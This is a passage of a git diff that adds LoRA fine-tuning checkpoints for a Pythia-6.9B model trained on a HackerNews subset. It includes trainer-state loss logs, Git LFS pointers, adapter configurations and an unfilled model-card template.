"eval_runtime": 43.7811, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 100 + }, + { + "epoch": 1.4666666666666668, + "grad_norm": 0.629486620426178, + "learning_rate": 6.696296296296296e-05, + "loss": 2.4018, + "step": 110 + }, + { + "epoch": 1.4666666666666668, + "eval_loss": 2.533242702484131, + "eval_runtime": 43.7907, + "eval_samples_per_second": 22.836, + "eval_steps_per_second": 2.854, + "step": 110 + }, + { + "epoch": 1.6, + "grad_norm": 0.818680465221405, + "learning_rate": 6.577777777777777e-05, + "loss": 2.4227, + "step": 120 + }, + { + "epoch": 1.6, + "eval_loss": 2.5338823795318604, + "eval_runtime": 43.7818, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 120 + }, + { + "epoch": 1.7333333333333334, + "grad_norm": 0.8839734196662903, + "learning_rate": 6.45925925925926e-05, + "loss": 2.4284, + "step": 130 + }, + { + "epoch": 1.7333333333333334, + "eval_loss": 2.534684658050537, + "eval_runtime": 43.7829, + "eval_samples_per_second": 22.84, + "eval_steps_per_second": 2.855, + "step": 130 + }, + { + "epoch": 1.8666666666666667, + "grad_norm": 0.7506110072135925, + "learning_rate": 6.340740740740741e-05, + "loss": 2.4042, + "step": 140 + }, + { + "epoch": 1.8666666666666667, + "eval_loss": 2.5374648571014404, + "eval_runtime": 43.7868, + "eval_samples_per_second": 22.838, + "eval_steps_per_second": 2.855, + "step": 140 + }, + { + "epoch": 2.0, + "grad_norm": 0.790181040763855, + "learning_rate": 6.222222222222223e-05, + "loss": 2.4382, + "step": 150 + }, + { + "epoch": 2.0, + "eval_loss": 2.5376830101013184, + "eval_runtime": 43.776, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.855, + "step": 150 + }, + { + "epoch": 2.1333333333333333, + "grad_norm": 0.8619416952133179, + "learning_rate": 6.103703703703704e-05, + "loss": 2.2852, + "step": 160 + }, + { + "epoch": 2.1333333333333333, + "eval_loss": 2.557069778442383, + "eval_runtime": 43.8054, + "eval_samples_per_second": 22.828, + "eval_steps_per_second": 2.854, + "step": 160 + }, + { + "epoch": 2.2666666666666666, + "grad_norm": 1.1197975873947144, + "learning_rate": 5.9851851851851855e-05, + "loss": 2.266, + "step": 170 + }, + { + "epoch": 2.2666666666666666, + "eval_loss": 2.578442096710205, + "eval_runtime": 43.8144, + "eval_samples_per_second": 22.824, + "eval_steps_per_second": 2.853, + "step": 170 + }, + { + "epoch": 2.4, + "grad_norm": 1.2004913091659546, + "learning_rate": 5.8666666666666665e-05, + "loss": 2.3007, + "step": 180 + }, + { + "epoch": 2.4, + "eval_loss": 2.582598924636841, + "eval_runtime": 43.7743, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.856, + "step": 180 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 2.94949295751168e+16, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-180/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-180/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..68b02330a1195a7529b7c5ac3d2074dca7a8843d --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-180/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:5276490505c682789e6f542349fd3b486cf3586ea6a988c79078113f82ac15c0 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-190/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-190/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-190/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-190/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-190/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-190/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-190/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-190/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..8687cd5a5f906fc8cd51353e39aa1323a93785fb --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-190/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:e055077b14278697e21c29c911a7264e5e5f58a3764c817b8e2552d08409d198 +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-190/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-190/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..95b947a346db3d6d495d61bf50a6e25db27e8bb4 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-190/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:78799c174df6e8e0daf5b41fca12b9409d56a4e057bb0d8cb4f97ed849950b9d +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-190/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-190/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..ae44ad6727cf9b3af903ea84902fa6c7f13a5a95 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-190/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:7d6f4346bdc8a12fcc48535a6002ac46345e4ce1e14bb1f7e9dc3b0ea920641c +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-190/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-190/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..c8d96687f829fbdebf86c73104630c11643191e8 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-190/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:56d80eccd9a2998f395870ad7a48e8df26a0ef5fdd75c8bb18466e506b523f6a +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-190/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-190/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..72815e0700fc14b079b6925eea16a3a625ae4a81 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-190/trainer_state.json @@ -0,0 +1,318 @@ +{ + "best_metric": 2.526639699935913, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80", + "epoch": 2.533333333333333, + "eval_steps": 10, + "global_step": 190, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37438902258872986, + "learning_rate": 7.881481481481482e-05, + "loss": 2.522, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.5468266010284424, + "eval_runtime": 44.0007, + "eval_samples_per_second": 22.727, + "eval_steps_per_second": 2.841, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.35912272334098816, + "learning_rate": 7.762962962962963e-05, + "loss": 2.4874, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.54296612739563, + "eval_runtime": 43.8115, + "eval_samples_per_second": 22.825, + "eval_steps_per_second": 2.853, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.3801650404930115, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4972, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.5399742126464844, + "eval_runtime": 43.8681, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.849, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.3593173325061798, + "learning_rate": 7.525925925925926e-05, + "loss": 2.4633, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.535550832748413, + "eval_runtime": 43.7847, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.37406498193740845, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4329, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.533135175704956, + "eval_runtime": 43.9186, + "eval_samples_per_second": 22.769, + "eval_steps_per_second": 2.846, + "step": 50 + }, + { + "epoch": 0.8, + "grad_norm": 0.3373793661594391, + "learning_rate": 7.28888888888889e-05, + "loss": 2.5159, + "step": 60 + }, + { + "epoch": 0.8, + "eval_loss": 2.5308544635772705, + "eval_runtime": 43.8596, + "eval_samples_per_second": 22.8, + "eval_steps_per_second": 2.85, + "step": 60 + }, + { + "epoch": 0.9333333333333333, + "grad_norm": 0.3410486876964569, + "learning_rate": 7.170370370370371e-05, + "loss": 2.4616, + "step": 70 + }, + { + "epoch": 0.9333333333333333, + "eval_loss": 2.528620958328247, + "eval_runtime": 43.7873, + "eval_samples_per_second": 22.838, + "eval_steps_per_second": 2.855, + "step": 70 + }, + { + "epoch": 1.0666666666666667, + "grad_norm": 0.3606584966182709, + "learning_rate": 7.051851851851853e-05, + "loss": 2.4756, + "step": 80 + }, + { + "epoch": 1.0666666666666667, + "eval_loss": 2.526639699935913, + "eval_runtime": 43.8095, + "eval_samples_per_second": 22.826, + "eval_steps_per_second": 2.853, + "step": 80 + }, + { + "epoch": 1.2, + "grad_norm": 0.4812467098236084, + "learning_rate": 6.933333333333334e-05, + "loss": 2.3706, + "step": 90 + }, + { + "epoch": 1.2, + "eval_loss": 2.5288808345794678, + "eval_runtime": 43.7806, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 90 + }, + { + "epoch": 1.3333333333333333, + "grad_norm": 0.5975897312164307, + "learning_rate": 6.814814814814815e-05, + "loss": 2.4033, + "step": 100 + }, + { + "epoch": 1.3333333333333333, + "eval_loss": 2.532658576965332, + "eval_runtime": 43.7811, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 100 + }, + { + "epoch": 1.4666666666666668, + "grad_norm": 0.629486620426178, + "learning_rate": 6.696296296296296e-05, + "loss": 2.4018, + "step": 110 + }, + { + "epoch": 1.4666666666666668, + "eval_loss": 2.533242702484131, + "eval_runtime": 43.7907, + "eval_samples_per_second": 22.836, + "eval_steps_per_second": 2.854, + "step": 110 + }, + { + "epoch": 1.6, + "grad_norm": 0.818680465221405, + "learning_rate": 6.577777777777777e-05, + "loss": 2.4227, + "step": 120 + }, + { + "epoch": 1.6, + "eval_loss": 2.5338823795318604, + "eval_runtime": 43.7818, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 120 + }, + { + "epoch": 1.7333333333333334, + "grad_norm": 0.8839734196662903, + "learning_rate": 6.45925925925926e-05, + "loss": 2.4284, + "step": 130 + }, + { + "epoch": 1.7333333333333334, + "eval_loss": 2.534684658050537, + "eval_runtime": 43.7829, + "eval_samples_per_second": 22.84, + "eval_steps_per_second": 2.855, + "step": 130 + }, + { + "epoch": 1.8666666666666667, + "grad_norm": 0.7506110072135925, + "learning_rate": 6.340740740740741e-05, + "loss": 2.4042, + "step": 140 + }, + { + "epoch": 1.8666666666666667, + "eval_loss": 2.5374648571014404, + "eval_runtime": 43.7868, + "eval_samples_per_second": 22.838, + "eval_steps_per_second": 2.855, + "step": 140 + }, + { + "epoch": 2.0, + "grad_norm": 0.790181040763855, + "learning_rate": 6.222222222222223e-05, + "loss": 2.4382, + "step": 150 + }, + { + "epoch": 2.0, + "eval_loss": 2.5376830101013184, + "eval_runtime": 43.776, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.855, + "step": 150 + }, + { + "epoch": 2.1333333333333333, + "grad_norm": 0.8619416952133179, + "learning_rate": 6.103703703703704e-05, + "loss": 2.2852, + "step": 160 + }, + { + "epoch": 2.1333333333333333, + "eval_loss": 2.557069778442383, + "eval_runtime": 43.8054, + "eval_samples_per_second": 22.828, + "eval_steps_per_second": 2.854, + "step": 160 + }, + { + "epoch": 2.2666666666666666, + "grad_norm": 1.1197975873947144, + "learning_rate": 5.9851851851851855e-05, + "loss": 2.266, + "step": 170 + }, + { + "epoch": 2.2666666666666666, + "eval_loss": 2.578442096710205, + "eval_runtime": 43.8144, + "eval_samples_per_second": 22.824, + "eval_steps_per_second": 2.853, + "step": 170 + }, + { + "epoch": 2.4, + "grad_norm": 1.2004913091659546, + "learning_rate": 5.8666666666666665e-05, + "loss": 2.3007, + "step": 180 + }, + { + "epoch": 2.4, + "eval_loss": 2.582598924636841, + "eval_runtime": 43.7743, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.856, + "step": 180 + }, + { + "epoch": 2.533333333333333, + "grad_norm": 1.2376835346221924, + "learning_rate": 5.748148148148149e-05, + "loss": 2.276, + "step": 190 + }, + { + "epoch": 2.533333333333333, + "eval_loss": 2.586012840270996, + "eval_runtime": 43.82, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 190 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 3.11335367737344e+16, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-190/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-190/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..68b02330a1195a7529b7c5ac3d2074dca7a8843d --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-190/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:5276490505c682789e6f542349fd3b486cf3586ea6a988c79078113f82ac15c0 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-20/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-20/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-20/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-20/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-20/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-20/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-20/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-20/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..6f4162a0922262640036481a087db739e4604ed4 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-20/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:5c07f1abd369fc7211afef15f700069e10d7c9a860cb9c9aa72a7de14d1c1274 +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-20/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-20/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..5a9fd888cc037c20c1d9051c4d2a399d699c5ba7 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-20/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:3b0f22da774d2ac452d3bbdbe607b468ca55029697d1116e6a5db80d910d5b4e +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-20/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-20/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..fe515b4492af517bd45c5a5c7abbba2b94c5ae37 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-20/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:1a5087ba42b4dd9dc68875c89890b692068c71de7009ff67cb7d8492bce11049 +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-20/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-20/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..61e40aef0a507fb8add486ba2535aadaa164b9a7 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-20/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:72a91e63074e9f0fdfc6b1e7414643f389732ccfdfe97b6b3f4c5b0d7a7556a4 +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-20/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-20/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..fdc3495c0e01f095c2c2ac299e34425fe7a3bb3a --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-20/trainer_state.json @@ -0,0 +1,63 @@ +{ + "best_metric": 2.54296612739563, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-20", + "epoch": 0.26666666666666666, + "eval_steps": 10, + "global_step": 20, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37438902258872986, + "learning_rate": 7.881481481481482e-05, + "loss": 2.522, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.5468266010284424, + "eval_runtime": 44.0007, + "eval_samples_per_second": 22.727, + "eval_steps_per_second": 2.841, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.35912272334098816, + "learning_rate": 7.762962962962963e-05, + "loss": 2.4874, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.54296612739563, + "eval_runtime": 43.8115, + "eval_samples_per_second": 22.825, + "eval_steps_per_second": 2.853, + "step": 20 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + 